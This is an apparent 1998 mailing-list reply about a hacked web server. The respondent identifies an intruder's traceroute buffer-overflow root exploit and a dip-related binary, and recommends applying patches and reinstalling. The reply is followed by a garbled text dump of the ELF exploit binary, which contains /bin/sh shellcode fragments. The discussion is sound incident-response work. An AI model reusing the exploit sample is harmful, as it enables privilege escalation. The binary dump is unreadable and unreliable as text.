On Thu, 5 Mar 1998, David S Edwards wrote:
> Well I busted somebody trying to hack my webserver that we do hosting on.
> Since I'm not an expert at decoding some of this stuff, I thought I would
> post the hacks here, hoping that somebody could shed some light on it. Oh,
> by the way, I caught this guy because he was careless and didn't delete the
> .bash_history file.
ok... the source code you posted is the exploit for the gain root access
via buffer overload on traceroute command. check your favorite places for
more information on these and others. There is an errata patch for fixing
this exploit.
The a.out binary (glibc) is a nift binary that appears to have the purpose
of running dip (dialup IP program for creating SLIP, CSLIP, PPP, ...)
connections on a serial line. It appears to try to dial out to another
computer (cannot tell where or anything else from binary).
You may want to apply all current errata, and re-install the machine if
possible, just in case this person has managed to replace binaries and
such elsewhere on the system.
Any other questions on procedure to implement on this or what he was doing
I can help answer.
ttylz
--
Fire Dragon | RedHat 5.0 & Cyrix 6x86 P120+
[EMAIL PROTECTED] | Linux Kernel 2.1.85 and counting!
http://nosferatu.world-net.net | What more could you ask for?
ftp://nosferatu.world-net.net | Linux: For IQs higher than 95!
Home life as we understand it is no more natural to us than a cage is
to a cockatoo.
-- George Bernard Shaw
ELF <4 @
4
( 4 44 ԀԀ < << /lib/ld-linux.so.2
< # 9 1 ? `h E ܄ W " \ a > h ' o { v ` |
, " ̘
̄ " ̘ ̘ <
| ̘ ̘ И __gmon_start__ libc.so.6 _DYNAMIC _GLOBAL_OFFSET_TABLE_ _fini _init __libc_init_first open exit atexit strcpy perror execl strlen close _environ write __environ environ ld-linux.so.2 _start _etext _edata __bss_start _end 8 ̘
$ ( ,
0 4 US [Û 4 t{ ]]5%
%h %h %h % h % h
%$h( %(h0 %,h8 p%0h@ `%4hH P1tRX^D̘PPRVh|XB PUS = tЃ; u]Ív UÐUÐU
Sh P@Dž ~#v АDž ~ v ֍v Dž h9r(
h hA hO
}hj P PP
Pj hhhmÐUS=tЃ;u]Ív UÐ US [{ ]]chatkey
temp.dip dip /sbin/dip $^ ^ 3҉VVV45V4N ̀3@̀/bin/sh < ҄"2
`
P GCC:
(GNU) 2.7.2.3 GCC: (GNU) 2.7.2.3 GCC: (GNU) 2.7.2.3 GCC: (GNU) 2.7.2.3 GCC: (GNU)
2.7.2.3 01.01 01.01 01.01 01.01 01.01 .symtab .strtab .shstrtab .interp .hash .dynsym .dynstr .rel.got .rel.bss .rel.plt .init .plt .text .fini .rodata .data .ctors .dtors .got .dynamic .bss .comment .note Ԁ # ) 1 9
B K
P
T `` , Z _ << @ e k
s 8 y 8 << ̘ d d 0
d
p ,
p Ԁ `
<
< ̘ d
L
& L
< I t
T
b |
o
T
' < | 3
` { ̘
̘ `h ̄ " <
܄ ̘
#
. 1 4 > ; ̘ B X И ]
a f m " r
, "
initfini.c gcc2_compiled. crtstuff.c __do_global_ctors_aux __CTOR_END__ init_dummy force_to_data __DTOR_END__ __do_global_dtors_aux __DTOR_LIST__ fini_dummy __CTOR_LIST__ c.c strcpy _DYNAMIC _etext shell execl perror _environ __environ _init write _start __libc_init_first __bss_start main data_start _fini atexit _edata _GLOBAL_OFFSET_TABLE_ _end esp exit strlen open __data_start close __gmon_start__
